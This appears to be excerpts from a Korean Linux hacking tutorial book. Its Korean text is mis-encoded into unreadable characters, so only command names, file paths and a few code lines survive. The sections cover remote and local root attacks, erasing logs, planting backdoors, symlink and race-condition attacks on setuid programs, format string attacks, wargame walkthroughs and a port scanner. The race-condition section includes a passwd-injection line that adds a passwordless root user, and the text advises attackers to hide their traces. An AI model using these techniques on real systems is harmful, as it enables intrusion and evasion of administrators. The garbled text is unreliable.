ÇÁ·Î±×·¥ÀÔ´Ï´Ù. ¿©±â¼ ¹é±×¶ó¿îµå·Î ½ÇÇàµÈ´Ù´Â °ÍÀº ¿ì¸® ´«¿¡ º¸ÀÌÁö
¾Ê´Â »óÅ·Π½ÇÇàµÈ´Ù´Â °ÍÀ» ÀǹÌÇÕ´Ï´Ù. ÀÌ·± µ¥¸ó ÇÁ·Î±×·¥Àº Å©°Ô
µÎ °¡Áö·Î ³ª´µ¾î Áö´Âµ¥ kerneld³ª crondó·³ Æ÷Æ®¿¡ °ü·ÃµÇÁö ¾Ê°í
½ÇÇàµÇ´Â °Í°ú ftpd, httpd, namedó·³ ÇØ´ç Æ÷Æ®¸¦ ¿¬ ÈÄ ±×°÷¿¡¼
ÀÛµ¿ÇÏ´Â ÇÁ·Î±×·¥ÀÔ´Ï´Ù. ÀÌ µÎ °¡Áö µ¥¸ó Áß ¿ì¸®°¡ ´«¿©°ÜºÁ¾ß ÇÒ
°ÍÀº ¿ª½Ã Æ÷Æ®¸¦ ¿¬ ÈÄ ±×°÷¿¡¼ ÀÛµ¿ÇÏ´Â °ÍÀÔ´Ï´Ù.
Æ÷Æ® ½ºÄ³´× ÈÄ Æ¯Á¤ Æ÷Æ®°¡ ¿·ÁÀÖ´Ù´Â
°ÍÀÌ È®ÀÎµÇ¸é ±× ´ÙÀ½ ÇØ¾ß ÇÒ ÀÏÀº ÇØ´ç Æ÷Æ®¿¡ ÀÛµ¿ÁßÀÎ ÇÁ·Î±×·¥ÀÌ
¹«¾ùÀ̸ç, ±× ¹öÀüÀº ¾î¶»°Ô µÇ´À³Ä¿¡ ´ëÇØ ¾Ë¾Æ³»´Â °ÍÀÔ´Ï´Ù.
¸¸¾à 21¹ø Æ÷Æ®°¡ ¿·ÁÀÖ´Â °ÍÀÌ È®ÀεǾú´Ù°í
Çغ¾½Ã´Ù. ±×·³ ÀÏ´Ü /etc/services¿¡ Á¤ÀÇµÈ Æ÷Æ® ¸®½ºÆ®¿¡ ÀÇÇØ ±×°÷¿¡
ftp ÇÁ·Î±×·¥ÀÌ ÀÛµ¿ ÁßÀÏ °ÍÀ̶õ °É ¿¹»óÇÒ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù. ÀÌÁ¦
½ÇÁ¦ 21¹ø Æ÷Æ®¿¡ ÀÛµ¿ ÁßÀÎ ÇÁ·Î±×·¥À» È®ÀÎÇϱâ À§ÇØ ¿ì¸®´Â ´ÙÀ½°ú
°°Àº ÀÛ¾÷À» ÇؾßÇÕ´Ï´Ù.
Áß°£ »ý·«..
(2) ¸®¸ðÆ® ¾îÅÃ
¸®¸ðÆ® ¾îÅÃÀº °èÁ¤À» °¡Áö°í ÀÖÁö
¾ÊÀº ¼¹öÀÇ ½©À» ¾ò°íÀÚ ÇÏ´Â ½ÃµµÀÔ´Ï´Ù.
ÀÌ°ÍÀº º¸Åë µ¥¸óÀÇ ¹ö±×¸¦ ÀÌ¿ëÇÏ¿©
ÀÌ·ç¾îÁý´Ï´Ù. ¾ÕÀÇ Á¤º¸ ¼öÁý °úÁ¤¿¡¼ °¢ µ¥¸ó¿¡ ½ÇÇàÁßÀÎ ÇÁ·Î±×·¥°ú
¹öÁ¯À» È®ÀÎÇÒ ¼ö ÀÖ°í, ±×°Í¿¡ ¾î¶² ¹ö±×°¡ ÀÖ°í ¾î¶² ½ÄÀ¸·Î ±¸ÇöµÇ¸ç
°ø°ÝµÇ´ÂÁö¿¡ ´ëÇÑ Á¤º¸´Â exploit °ü·Ã »çÀÌÆ®µé¿¡¼ ã¾Æº¼ ¼ö ÀÖ½À´Ï´Ù.
¸¸¾à ÇØ´ç µ¥¸óÀÌ ·çÆ® ±ÇÇÑÀ¸·Î µ¹¾Æ°¡°í ÀÖ´Ù¸é ´Ü¹ø¿¡ ·çÆ® ȹµæÀÌ
°¡´ÉÇÏ¸ç ·ÎÄà ¾îÅà °úÁ¤ÀÌ »ý·«µË´Ï´Ù.
exploitÀ̶õ?
"¼¼»ó¿¡ ¿Ïº®ÇÑ Àΰ£Àº Á¸ÀçÇÒ
¼ö ¾ø´Ù. ¸ðµç ÇÁ·Î±×·¥µéÀº Àΰ£¿¡ ÀÇÇؼ ¸¸µé¾îÁø´Ù. °í·Î ¼¼»ó¿¡
¿Ïº®ÇÑ ÇÁ·Î±×·¥À̶õ ÀÖÀ» ¼ö ¾ø´Ù."
¾î¶² ÇÁ·Î±×·¥ÀÌ´ø °£¿¡ ¹ö±×´Â ÀÖ±â
¸¶·ÃÀÔ´Ï´Ù. ¹ö±×¶õ ÇÁ·Î±×·¡¸ÓÀÇ ½Ç¼ö·Î ¾ê±âÄ¡ ¸øÇÑ ¿Àµ¿ÀÛÀ» À¯¹ßÇÏ´Â
ÇÁ·Î±×·¥ »óÀÇ ÇãÁ¡À» ¸»ÇÕ´Ï´Ù.
¸¸¾à µ¥¸óÀ¸·Î ÀÛµ¿ÇÏ´Â ÇÁ·Î±×·¥À̳ª
rootÀÇ ±ÇÇÑÀ¸·Î setuid°¡ °É·ÁÀÖ´Â ÇÁ·Î±×·¥¿¡ ¹ö±×°¡ ¹ß°ßµÈ´Ù¸é ÇØÄ¿µéÀº
±×°ÍÀ» ÀÌ¿ëÇÏ¿© ÇØÅ·À» ½ÃµµÇÕ´Ï´Ù. º¸Åë ÇØÄ¿µéÀº C¾ð¾î³ª ½© ½ºÅ©¸³Æ®¸¦
ÀÌ¿ëÇÏ¿© ±×°ÍÀ» °ø°ÝÇϸç, ±×·¸°Ô ¿Ï¼ºµÈ ÇϳªÀÇ °ø°Ý ÇÁ·Î±×·¥À» ¿ì¸®´Â
exploitÀ̶ó°í ºÎ¸¨´Ï´Ù.
exploit »çÀÌÆ®µé
Áß°£ »ý·«...
(3) ·ÎÄà ¾îÅÃ
¸®¸ðÆ® ¾îÅÿ¡ ¼º°øÇÏ¿© ÇØ´ç ¼¹öÀÇ
½©À» ȹµæÇÏ¿´´Ù¸é, ÀÌÁ¦ ÇؾßÇÒ °ÍÀº ·çÆ® ȹµæÀÌ¸ç ±×°ÍÀ» ·ÎÄà ¾îÅÃÀ̶ó
ºÎ¸¨´Ï´Ù. º¸Åë ¼¹ö ³»ÀÇ À߸øµÈ ¼³Á¤À̳ª root ±ÇÇÑÀ¸·Î setuid°¡
°É·ÁÀÖ´Â ÆÄÀÏÀ» ÀÌ¿ëÇÏ¿© ·çÆ® ±ÇÇÑÀ» ȹµæÇÒ ¼ö ÀÖ½À´Ï´Ù. ÇöÀç ´ëºÎºÐÀÇ
setuid°¡ °É¸° ÇÁ·Î±×·¥ÀÌ Ãë¾àÁ¡À» °¡Áö°í ÀÖ°í ±×¿¡ ´ëÇÑ exploitµµ
°ø°³µÇ¾î ÀÖ½À´Ï´Ù. µû¶ó¼ ¸®¸ðÆ® ¾îÅÿ¡¸¸ ¼º°øÇÑ´Ù¸é ·ÎÄà ¾îÅÃÀº
½ÄÀº Á× ¸Ô±âÀÔ´Ï´Ù.
(4) ÈçÀû Áö¿ì±â
·çÆ® ±ÇÇÑÀ» ȹµæÇÏ¿´´Ù¸é ±× ±ÇÇÑÀ»
ÀÌ¿ëÇÏ¿© À绡¸® ÀÚ½ÅÀÇ ÈçÀûÀ» Á¦°ÅÇØ¾ß ÇÕ´Ï´Ù. ÈçÀûÀ» Áö¿ì´Â ¹æ¹ýÀº
Å©°Ô µÎ °¡Áö·Î ³ª´² º¼ ¼ö ÀÖ½À´Ï´Ù. ù°, ¼¹ö³»ÀÇ ¸ðµç ÈçÀûÀ» Åë°·Î
»èÁ¦ÇÏ´Â ¹æ¹ý. ÀÌ°ÍÀº °¡Àå ½±°í ºü¸¥ ¹æ¹ýÀ̱ä Çϳª °ü¸®ÀÚ¿¡°Ô ¼¹ö°¡
ÇØÅ· ´çÇß´Ù´Â »ç½ÇÀ» ¾Ë°Ô ÇØÁÝ´Ï´Ù. µÑ°, ÀÚ½ÅÀÇ Á¢¼Ó ±â·Ï¸¸ Á¦°ÅÇÏ´Â
¹æ¹ý. ÀÌ°ÍÀ» ÇÏ·Á¸é ÇÁ·Î±×·¡¹Ö ´É·ÂÀÌ ÇÊ¿äÇÕ´Ï´Ù. ÇÏÁö¸¸ ÀÎÅͳݿ¡¼
½±°Ô ±¸ÇÒ ¼ö ÀÖ´Â Åø µéÀÌ ±× ¼ö°í¸¦ ´ë½ÅÇØÁÙ ¼ö ÀÖ½À´Ï´Ù.
¸¸¾à ÇØÅ· ÈÄ ½Ç¼ö·Î ÈçÀûÀ» Áö¿ìÁö
¾Ê°í ³ª¿Í¹ö¸°´Ù¸é ¿©·¯ºÐÀº ÀüȺ§ÀÌ ¿ï¸± ¶§¸¶´Ù ±äÀåÇØ¾ß ÇÒ °ÍÀÔ´Ï´Ù.
(±×µéÀº ¾Æ¸¶ ´ç½Å¿¡°Ô ÀÚÁø ÃâµÎ¸¦ ¿äûÇÒ °ÍÀÔ´Ï´Ù.)
(5) ¹éµµ¾î »ý¼º
ÈçÀûÀ» Áö¿ì°í º¼ÀÏÀ» ´Ù º¸¾Ò´Ù¸é
ÀÌÁ¦ ÇØ¾ß ÇÒ °ÍÀº ¹éµµ¾î »ý¼ºÀÔ´Ï´Ù.
¹éµµ¾î¶õ ÇØÅ·¿¡ ¼º°øÇÑ ¼¹ö¿¡ ½±°Ô
ÀçħÀÔÇÒ ¼ö ÀÖµµ·Ï °íÀÇ·Î ¼û°Ü ³õ´Â Ȧ(hole) ȤÀº ÇÁ·Î±×·¥À» ¸»ÇÕ´Ï´Ù.
¿¹¸¦ µé¾î ¿©·¯ºÐÀº ¼¹ö¿¡ Á¢¼ÓÇÑ ÈÄ "give me the root"
¶ó°í ÀÔ·ÂÇÏ´Â °Í¸¸À¸·Î ·çÆ®±ÇÇÑÀ» ¾òÀ» ¼ö ÀÖµµ·Ï ¹éµµ¾î¸¦ ½ÉÀ» ¼ö
ÀÖ½À´Ï´Ù.
»ùÇà 7 - Race ConditionÀ» ÀÌ¿ëÇÑ
ÇØÅ· ±â¹ý
¸®´ª½º´Â ¸ÖƼ ÇÁ·Î¼¼½º ¿î¿µÃ¼Á¦ÀÔ´Ï´Ù.
Áï ÇϳªÀÇ ¸í·ÉÀÌ ½ÇÇàµÇ°í ÀÖÀ» ¶§ µ¿½Ã¿¡ ¶Ç ´Ù¸¥ ¸í·ÉÀÌ ½ÇÇàµÉ ¼ö
ÀÖ´Ù´Â ¸»ÀÔ´Ï´Ù. Race ConditionÀº ÀÌ ¸ÖƼ ÇÁ·Î¼¼½º¶ó´Â ¸®´ª½º(À¯´Ð½º)ÀÇ
Ư¡À» ÀÌ¿ëÇÑ ÇØÅ· ±â¹ýÀ̸ç ÃÖ±Ù¿¡µµ Á¾Á¾ ¹®Á¦°¡ µÇ°í ÀÖ½À´Ï´Ù.
°£´ÜÇÑ ¿¹·Î °ü¸®ÀÚ°¡ /tmp µð·ºÅ丮¿¡¼ test.c ¶ó´Â ÆÄÀÏÀ» ÀÛ¼ºÇÑ´Ù°í
°¡Á¤ÇØ º¾½Ã´Ù.
±×·±µ¥ ÀÌ ¶§ ¸¶Ä§ mirable À̶ó´Â
»ç¿ëÀÚ°¡ /tmp µð·ºÅ丮¿¡¼ ´ÙÀ½°ú °°Àº ½Éº¼¸¯ ¸µÅ©¸¦ ¸¸µç´Ù¸é ¾î¶»°Ô
µÉ±î¿ä?
±×·³ °ü¸®ÀÚ°¡ ÀÔ·ÂÇÏ´Â ³»¿ëÀº ½Éº¼¸¯
¸µÅ©·Î ÀÎÇØ test.c°¡ ¾Æ´Ñ /etc/passwd ÆÄÀÏ¿¡ ±â·ÏµÉ °ÍÀÔ´Ï´Ù. µû¶ó¼
/etc/passwd ÆÄÀÏÀÌ ¼Õ»óµÇ¾î ¹ö¸®´Â °ÍÀÔ´Ï´Ù.
À̹ø¿£ Á¶±Ý Çö½Ç¼º ÀÖ´Â °æ¿ì¸¦ »ý°¢ÇØ
º¾½Ã´Ù. ´ÙÀ½ÀÇ ¿¹´Â ½ÇÁ¦ Race Condition ±â¹ýÀ¸·Î ¹®Á¦°¡ µÇ¾ú´ø ÇÁ·Î±×·¥ÀÔ´Ï´Ù.
¾ÆÁÖ ¿À·¡µÈ ¹öÁ¯ÀÇ /bin/mail ÇÁ·Î±×·¥¿¡
ÇØ´çµÇ´Â ¿¹ÀÔ´Ï´Ù. ÀÌ /bin/mail ÇÁ·Î±×·¥À» »ç¿ëÇÏ¿© ÇÑ »ç¿ëÀÚ¿¡°Ô
¸ÞÀÏÀ» º¸³»¸é ±× ³»¿ëÀÌ /var/spool/mail ¿¡ ÀúÀåµÈ ´Ù´Â °ÍÀ» Àü¿¡
¹è¿ü½À´Ï´Ù. ¸¸¾à ÇÑ »ç¿ëÀÚ°¡ mirable À̶ó´Â »ç¿ëÀÚ¿¡°Ô hello ¶ó´Â
³»¿ëÀÇ ¸ÞÀÏÀ» º¸³½´Ù¸é, ±× ³»¿ëÀº /var/spool/mail/mirable À̶ó´Â
À̸§ÀÇ ÆÄÀÏ·Î ÀúÀåÀÌ µÇ´Â °ÍÀÔ´Ï´Ù.
±×·³ mirable¿¡°Ô ÆíÁö¸¦ º¸³»¸é¼
À绡¸® /var/spool/mail/mirable ÆÄÀÏÀ» /etc/passwd ·Î ½Éº¼¸¯ ¸µÅ©¸¦
½ÃÄÑ ¹ö¸°´Ù¸é? /bin/mail ÇÁ·Î±×·¥Àº setuid°¡ °É·Á ÀÖ´Â ÇÁ·Î±×·¥À̱â
¶§¹®¿¡ root ±ÇÇÑÀ¸·Î ÆíÁöÀÇ ³»¿ëÀÌ /etc/passwd ÆÄÀÏ¿¡ ±â·ÏµÉ °ÍÀÔ´Ï´Ù.
µû¶ó¼ ¸¸¾à hacker::0:0::/tmp:/bin/bash ¶ó´Â ³»¿ëÀÌ ´ã±ä ÆíÁö¸¦
º¸³½´Ù¸é ·çÆ® ±ÇÇÑÀÇ ¾ÏÈ£°¡ ¾øÀÌ ·Î±×ÀÎ °¡´ÉÇÑ hacker ¶ó´Â »ç¿ëÀÚ°¡
Ãß°¡µÉ °ÍÀÔ´Ï´Ù.
»ç½Ç Áö±Ý±îÁö ¼³¸íÇÑ ±â¹ýÀº Race
Condition À̶ó±â º¸´Ù´Â ½Éº¼¸¯ ¸µÅ©¸¦ ÀÌ¿ëÇÑ ÇØÅ· ±â¹ýÀ̶ó°í ÇÏ´Â
°Ô ´õ Á¤È®ÇÒ °ÍÀÔ´Ï´Ù. ÁøÂ¥ Race Condition ÇØÅ· ±â¹ýÀº ´ÙÀ½°ú °°Àº
»óȲ¿¡¼ ±¸ÇöÇÒ ¼ö ÀÖ½À´Ï´Ù.
¿ª½Ã ½ÇÁ¦·Î ¹®Á¦°¡ µÇ¾ú´ø ±¸ ¹öÁ¯ÀÇ
/bin/ps ÇÁ·Î±×·¥Àº ½ÇÇà µµÁß /tmp µð·ºÅ丮¿¡ ps_data ¶ó´Â ÆÄÀÏÀ»
»ý¼ºÇÕ´Ï´Ù. ÇÏÁö¸¸ ÀÌ ÇÁ·Î±×·¥ÀÇ Æ¯Â¡Àº ½Éº¼¸¯ ¸µÅ©¸¦ ÀÌ¿ëÇÑ ÇØÅ·À»
¹æÁöÇϱâ À§ÇØ. ps_data ¶ó´Â ÆÄÀÏÀÌ »ý¼ºµÇ±â Á÷Àü¿¡ ÀÌ ps_data¶ó´Â
À̸§ÀÇ ÆÄÀÏÀÌ ÀÌ¹Ì Á¸ÀçÇÏ´Â Áö¸¦ ÆľÇÇÑ´Ù´Â Á¡ÀÔ´Ï´Ù. ¸¸¾à ±× ÆÄÀÏÀÌ
Á¸ÀçÇÑ´Ù¸é ±× ÆÄÀÏÀ» »èÁ¦ÇØ ¹ö¸° ÈÄ »õ·Î¿î ps_data ÆÄÀÏÀ» »ý¼ºÇÕ´Ï´Ù.
µû¶ó¼ ½Éº¼¸¯ ¸µÅ©¸¦ ÀÌ¿ëÇÑ ÇØÅ·ÀÌ ÀüÇô ÅëÇÏÁö ¾Ê°Ô µÇ´Â °ÍÀÔ´Ï´Ù.
ÇÏÁö¸¸ ÀÌ·± ¹æ¾î ¹ý¿¡´Â ´ÙÀ½°ú °°Àº
ÇãÁ¡ÀÌ Á¸ÀçÇÕ´Ï´Ù. Áï, ps_data ÆÄÀÏÀÌ ÀÌ¹Ì Á¸ÀçÇÏ´ÂÁö¸¦ È®ÀÎÇÏ´Â
ÀÛ¾÷°ú ±×°ÍÀ» Áö¿ì´Â ÀÛ¾÷ ±×¸®°í »õ ÆÄÀÏÀ» »ý¼ºÇÏ´Â ÀÛ¾÷ »çÀÌ»çÀÌ¿¡
¿ì¸®°¡ Á÷Á¢ ´À³¥ ¼ö´Â ¾øÁö¸¸ ¾ÆÁÖ ÀÛÀº ½Ã°£ °£°ÝÀÌ ³²±â ¸¶·ÃÀ̶ó´Â
°ÍÀÔ´Ï´Ù.
ps_data ÆÄÀÏ Á¸Àç ¿©ºÎ È®ÀÎ
(½Ã°£ °£°Ý)
Á¸ÀçÇÑ´Ù¸é ps_data ÆÄÀÏÀ» »èÁ¦
(½Ã°£ °£°Ý)
»õ·Î¿î ps_data ÆÄÀÏ »ý¼º
µû¶ó¼ µÎ ¹ø° ½Ã°£ °£°ÝÀÎ ps_data
ÆÄÀÏÀÌ »èÁ¦µÈ Á÷ÈÄ¿¡ ¶Ç ´Ù½Ã ÇØÄ¿°¡ ps_data ÆÄÀÏÀ» »ý¼ºÇϸé, ps_data
ÆÄÀÏÀ» ¹Ì¸® »èÁ¦ÇÏ´Â ÀÛ¾÷Àº ¹«ÀǹÌÇØ Áú °ÍÀÔ´Ï´Ù.
ps_data ÆÄÀÏ Á¸Àç ¿©ºÎ È®ÀÎ
(½Ã°£ °£°Ý)
Á¸ÀçÇÑ´Ù¸é ps_data ÆÄÀÏÀ» »èÁ¦
(½Ã°£ °£°Ý) <----
ÀÌ ½Ã°£À» ÀÌ¿ëÇÏ¿© ÇØÄ¿ÀÇ ps_data ÆÄÀÏ »ý¼º
»õ·Î¿î ps_data ÆÄÀÏ »ý¼º
±×·³ ¾î¶»°Ô À§ µÎ ¹ø°ÀÇ ½Ã°£ °£°ÝÀÇ
ŸÀ̹ÖÀ» ¾Ë¾Æ³¾ ¼ö ÀÖÀ»±î¿ä. ÀÌ°Í¿¡ ´ëÇÑ Æ¯º°ÇÑ ¹æ¹ýÀÌ ÀÖÀ» °Í¸¸
°°Áö¸¸ ±×·¸Áö ¾Ê½À´Ï´Ù. Áï, ±×³É ¹«½ÄÇÏ°Ô /bin/ps ÇÁ·Î±×·¥À» ¿À·§µ¿¾È
¹Ýº¹ÇÏ¿© ½ÇÇà½ÃÅ°°í, ¶Ç µ¿½Ã¿¡ ÇØÄ¿ÀÇ ps_data ÆÄÀÏÀ» ¹Ýº¹ÇÏ¿© »ý¼ºÇϸé
¾ðÁ¨°¡´Â À§ÀÇ Å¸Àֿ̹¡ ¸ÅÄ¡ µÇ¾î ÇØÄ¿°¡ ¿øÇÏ´Â °á°ú¸¦ ¾ò°Ô µÇ´Â
°ÍÀÔ´Ï´Ù.
µû¶ó¼ /bin/ps ÇÁ·Î±×·¥°ú ÇØÄ¿ÀÇ
ÇÁ·Î±×·¥ÀÌ ¿À·§µ¿¾È °æÀï(Race) »óÅÂ(Conditon)¿¡ ³õÀÌ°Ô µÇ±â ¶§¹®¿¡ ÀÌ ±â¹ýÀÇ
À̸§ÀÌ Race ConditonÀÎ °ÍÀÔ´Ï´Ù.
±×·³ Á÷Á¢ À§ÀÇ ÀÌ·ÐÀ» Àû¿ë½ÃÄÑ º¾½Ã´Ù.
¸ÕÀú ´ÙÀ½°ú °°Àº ¼Ò½º ÆÄÀÏÀ» ¸¸µì´Ï´Ù.
Áß°£ »ý·«..
»ùÇà 8 - Æ÷¸Ë ½ºÆ®¸µ ¾îÅÃ(format
string attack) ÇØÅ· ±â¹ý
Æ÷¸Ë ½ºÆ®¸µ ¾îÅÃÀº printf() °è¿ÀÇ
ÇÔ¼öÀÇ ¿À¿ë¿¡¼ ³ªÅ¸³ª´Â ¹®Á¦Á¡À» ÀÌ¿ëÇÑ °ø°ÝÀ¸·Î, °ø°Ý ±â¹ý ÀÚü´Â
¿À·¡ Àü¿¡ ¹ß°ßµÇ¾úÀ¸³ª ÃÖ±Ùµé¾î ¸¹Àº ÁÖ¸ñÀ» ¹Þ´Â °ø°Ý ¹æ¹ýÀÔ´Ï´Ù.
ÀÌÁ¦ Æ÷¸Ë ½ºÆ®¸µ ¾îÅÃÀÇ ¿ø¸®¿¡ ´ëÇØ ¼³¸íÇÏ°í ½ÇÁ¦·Î Àû¿ëÇÏ´Â ¹æ¹ýÀ»
¼³¸íÇØ º¸°Ú½À´Ï´Ù.
ÇÁ·Î¼¼½º¿Í ½ºÅÃ
¾ÕÀÇ Stack overflow °ø°ÝÀ» ¼³¸íÇÒ
¶§¿¡ ½ºÅÃÀÌ ¹«¾ùÀÌ°í, ÇÁ·Î¼¼½º°¡ ½ÇÇàÇÒ ¶§ ¸Þ¸ð¸®´Â ¾î¶² ±¸Á¶·Î
°ü¸®µÇ¸ç, C ¾ð¾î¿¡¼ ÇÔ¼ö¸¦ È£ÃâÇÒ ¶§ ½ºÅÃÀ» ¾î¶»°Ô ÀÌ¿ëÇÏ´ÂÁö ¾Ë¾Æº»
¹Ù ÀÖ½À´Ï´Ù. ´ë·«ÀûÀ¸·Î º¹½ÀÇØ º¸¸é ½ºÅÃÀ̶õ µ¥ÀÌÅ͸¦ ÀúÀåÇÏ´Â ¹æ¹ýÀÇ
Çϳª·Î½á, µ¥ÀÌÅÍ°¡ µé¾î°¡´Â ¼ø¼¿Í ³ª¿À´Â ¼ø¼°¡ ¹Ý´ë°¡ µÇ´Â ±¸Á¶¸¦
¸»ÇÑ´Ù. ±×¸®°í ÇÁ·Î¼¼½º°¡ ½ÇÇà µÉ¶§ Ä¿³ÎÀº ±× ÇÁ·Î¼¼½º¸¦ À§ÇÑ °ø°£À»
ÇÒ´çÇÏ¸ç ±×Áß ÀϺΰ¡ ½ºÅÃÀÔ´Ï´Ù. ÇÁ·Î¼¼½º´Â ½ºÅÿ¡ ÇÔ¼öÀÇ ½ÇÇà¿¡
ÇÊ¿äÇÑ Á¤º¸¿Í ÇÔ¼öÀÇ ÀÎÀÚ, ±×¸®°í Áö¿ª º¯¼öµéÀ» ³Ö´Â´Ù°í Çß´Ù. ÀÌ
°úÁ¤À» Á» ´õ ÀÚ¼¼È÷ ¾Ë¾Æº¾½Ã´Ù.
//
List 1. "stack.c"
1: void func( int a,
int b, int c )
2: {
3: int
i;
4: char
str[20];
5: }
6: int main( int argc,
char *argv[] )
7: {
8: func(
1, 2, 3 );
9: }
¿ì¼± ÀÌ ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÇ¸é, °¡Àå
¸ÕÀú 6¹ø ÇàºÎÅÍ ½ÇÇàµË´Ï´Ù. 6 ¹øÇàÀº main() ÇÔ¼ö¸¦ È£ÃâÇϴµ¥ Ä¿³ÎÀº
main() ÇÔ¼ö¸¦ È£ÃâÇϱâ Àü¿¡, ÇÔ¼öÀÇ ½ÇÇà¿¡ ÇÊ¿äÇÑ µ¥ÀÌÅÍ¿Í ÇÔ¼öÀÇ
ÀÎÀÚ¸¦ ¸ÕÀú ½ºÅÿ¡ push ÇÕ´Ï´Ù. Áï, 6¹ø Çà¿¡¼ÀÇ Stack Àº ´ÙÀ½°ú
°°Àº ±¸Á¶°¡ µË´Ï´Ù.
Áß°£ »ý·«...
»ùÇÃ9 ¸ðÀÇ ÇØÅ· °ÔÀÓ
ÇØÄ¿½ºÄð ·¹º§1 -> ·¹º§2
¸ÕÀú ·¹º§2 ±ÇÇÑ¿¡ setuid°¡ °É¸°
ÇÁ·Î±×·¥ÀÌ ÀÖ´ÂÁö ã¾Æº¾´Ï´Ù.
µÚ¿¡ 2>(Ç¥ÁØ ¿¡·¯ ÀǹÌ) /dev/null
À» ºÙÀÎ ÀÌÀ¯´Â Æ۹̼ÇÀÌ Çã¶ôµÇÁö ¾Ê¾Æ¼ Ãâ·ÂµÇ´Â ¿¡·¯¸Þ½ÃÁö¸¦ ¾²·¹±âÅëÀ¸·Î
º¸³»±â À§ÇؼÀÔ´Ï´Ù. 2> /dev/nullÀ» Á¦°ÅÇÏ°í À§ÀÇ ¸í·ÉÀ» ½ÇÇà½ÃÄÑ
º¸¸é ¿Ö ±×°ÍÀÌ ÇÊ¿äÇÑÁö ¾Ë°Ô µÉ °ÍÀÔ´Ï´Ù.
ÀÌÁ¦ /bin/ExcuteMe¶ó´Â ÆÄÀÏÀ» Çѹø
½ÇÇàÇØ º¾½Ã´Ù.
±×·³ ´ÙÀ½°ú °°Àº ȸéÀÌ ³ªÅ¸³³´Ï´Ù.
À§ÀÇ »óÅ¿¡¼ ÀԷµǴ ÇϳªÀÇ ¸í·ÉÀº
level2ÀÇ ±ÇÇÑÀ¸·Î ½ÇÇàµÈ´Ù°í Çß½À´Ï´Ù. µû¶ó¼ my-pass¸¦ ÀÔ·ÂÇϸé
level2 ±ÇÇÑÀÇ Æнº¿öµå°¡ Ãâ·ÂµÉ °ÍÀÌ°í, /bin/bash ¸¦ Ä«ÇÇÇÑ ÈÄ level2·Î
±ÇÇÑÀ» ¸ÂÃá µÚ chmod ¸í·ÉÀ¸·Î setuid¸¦ ÁÖ¸é level2 ±ÇÇÑÀÇ ½©À» ¾ò°Ô
µÉ °ÍÀÔ´Ï´Ù. ÇÏÁö¸¸ À§ µÎ°³ÀÇ ¸í·ÉÀº »ç¿ëÇÒ ¼ö ¾øµµ·Ï ¸·¾Æ ³õ¾Ò´Ù´Â
°ÍÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù. ±×·³ µµ´ëü ¾î¶² ¹æ¹ýÀ¸·Î level2ÀÇ ±ÇÇÑÀ» ȹµæÇÒ
¼ö ÀÖÀ»±î¿ä?
¸¸¾à ½©(shell)ÀÌ ¿ì¸®°¡ ÀÔ·ÂÇÑ ¸í·ÉÀ»
Çؼ®ÇÏ´Â ÇϳªÀÇ "ÇÁ·Î±×·¥" À̶ó´Â °ÍÀ» ¾Ë°í ÀÖ´Ù¸é ÀÌ
¹®Á¦´Â ½±°Ô ÇØ°áµÉ °ÍÀÔ´Ï´Ù. Áï, ½©Àº ¸í·É¾î¸¦ Çؼ®ÇÏ´Â ¿ªÇÒÀ» ÇÏ´Â
ÇÁ·Î±×·¥ÀÔ´Ï´Ù. µû¶ó¼ level2ÀÇ ±ÇÇÑÀ¸·Î ÀÌ ÇÁ·Î±×·¥À» ½ÇÇàÇÏ°Ô
µÇ¸é level2 ±ÇÇÑÀÇ ¸í·É¾î Çؼ®±â¸¦ ¾ò°Ô µÇ´Â ¼ÀÀÔ´Ï´Ù. ¼º°øÇß´Ù¸é
my-pass ¶ó°í ÀÔ·ÂÇÏ¿© level2ÀÇ Æнº¿öµå¸¦ º¼ ¼ö ÀÖ½À´Ï´Ù.
»ùÇÃ10 ¸ðÀÇ ÇØÅ· °ÔÀÓ ÇØÄ¿Áî·¦ ·¹º§2
-> ·¹º§3
< ¹®Á¦ >
< ÇØ°á >
level3 ±ÇÇÑ¿¡ setuid°¡ °É¸° ÆÄÀÏÀ»
ã¾Æº¾½Ã´Ù.
/usr/bin/alert À̶õ ÆÄÀÏÀÌ ¹ß°ßµÇ¾ú½À´Ï´Ù.
½ÇÇàÇØ º¾½Ã´Ù.
more ¶ó´Â ÇÁ·Î±×·¥Àº »ç¿ëÀÚ°¡ ÇÑ
ȸ鿡 º¼ ¼ö ¾ø´Â ±ä ÅؽºÆ® ¹®¼¸¦ Àß¶ó¼ º¸¿©ÁÖ´Â ¿ªÇÒÀ» ÇÕ´Ï´Ù.
ÇÏÁö¸¸ ÀÌ ÇÁ·Î±×·¥¿¡ º¸¾È»ó ¹®Á¦Á¡ÀÌ ÀÖ´Ù°í Çϴµ¥... Ȥ½Ã³ª ÇÏ´Â ¸¶À½À¸·Î more ÇÁ·Î±×·¥ÀÇ
¼³¸í¼¸¦ Àо½Ã´Ù.
Âß ÀÐ¾î ³»·Á°¡´Ù º¸¸é 4¹ø° ÆäÀÌÁö¿¡¼
³Ê¹«³Ê¹« °í¸¶¿î ¸í·ÉÀ» º¼ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù.
±×°ÍÀº ¹Ù·Î more »ç¿ë µµÁß¿¡ ½©
¸í·ÉÀ» ½ÇÇàÇÒ ¼ö ÀÖ´Â ! ¶Ç´Â :! Ä¿¸ÇµåÀÔ´Ï´Ù.
»ùÇÃ11 ¸®´ª½º ÇØÅ· Åø ÃÑÁýÇÕ - Æ÷Æ®½ºÄ³³Ê
ASCAN
nmap °ú´Â ´Þ¸® Æ÷Æ®½ºÄµÀÇ ÃÖ¼Ò ±â´É¸¸
°¡Áö°í ÀÖ´Â °£´ÜÇÏ¸ç ±×¸¸Å »ç¿ëÇϱ⠽¬¿î ½ºÄ³³ÊÀÔ´Ï´Ù.
ASCANÀÇ ¼³Ä¡
ascanÀº º¸Åë ascan.tar.gz°ú °°Àº
¾ÐÃà ÆÄÀÏ ÇüÅ·Π¹èÆ÷µË´Ï´Ù. ¾ÐÃàÀ» ÇØÁ¦½ÃÅ°´Â ¸í·ÉÀº ´ÙÀ½°ú °°½À´Ï´Ù.
*.gz : gzip -d filename
*.tar : tar xvf filename
-x : extractÀÇ ¾àÀÚ·Î ÇØÁ¦¶ó´Â ÀǹÌÀÔ´Ï´Ù.
-v : ÇØÁ¦ °úÁ¤À» º¸¿©ÁÝ´Ï´Ù.
-f : ÆÄÀÏ »óÅÂÀÇ ¾ÐÃàÀ» ÇØÁ¦ÇÕ´Ï´Ù.
